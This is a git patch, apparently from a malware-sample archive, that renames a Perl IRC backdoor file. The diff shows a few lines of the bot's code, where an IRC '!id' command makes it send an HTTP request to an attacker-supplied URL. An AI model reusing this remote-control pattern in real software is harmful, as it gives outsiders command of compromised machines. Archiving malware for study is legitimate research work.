From 5cc5054079e2928cfbefc24d3e9ff48d6eea6450 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 00:56:31 -0600
Subject: [PATCH] Rename Backdoor.Perl.IRCBot.t to
 Backdoor.Perl.IRCBot.Scanner.tc

---
 .../{Backdoor.Perl.IRCBot.t => Backdoor.Perl.IRCBot.Scanner.tc} | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
 rename Perl/{Backdoor.Perl.IRCBot.t => Backdoor.Perl.IRCBot.Scanner.tc} (97%)

diff --git a/Perl/Backdoor.Perl.IRCBot.t b/Perl/Backdoor.Perl.IRCBot.Scanner.tc
similarity index 97%
rename from Perl/Backdoor.Perl.IRCBot.t
rename to Perl/Backdoor.Perl.IRCBot.Scanner.tc
index f1bc1a86..230d1189 100644
--- a/Perl/Backdoor.Perl.IRCBot.t
+++ b/Perl/Backdoor.Perl.IRCBot.Scanner.tc
@@ -107,7 +107,7 @@ while ( $line = <$dsp> ) {
 		}
 
     if ( $line =~ /PRIVMSG $channel :!id/ )
-    {    ## ©© Script made by princeteam1979 . Don't remove this comment !
+    {    ## ©© Script made by princeteam1979 . Don't remove this comment !
         my $testid = $id;
         my $req    = HTTP::Request->new( GET => $testid );
         my $ua     = LWP::UserAgent->new();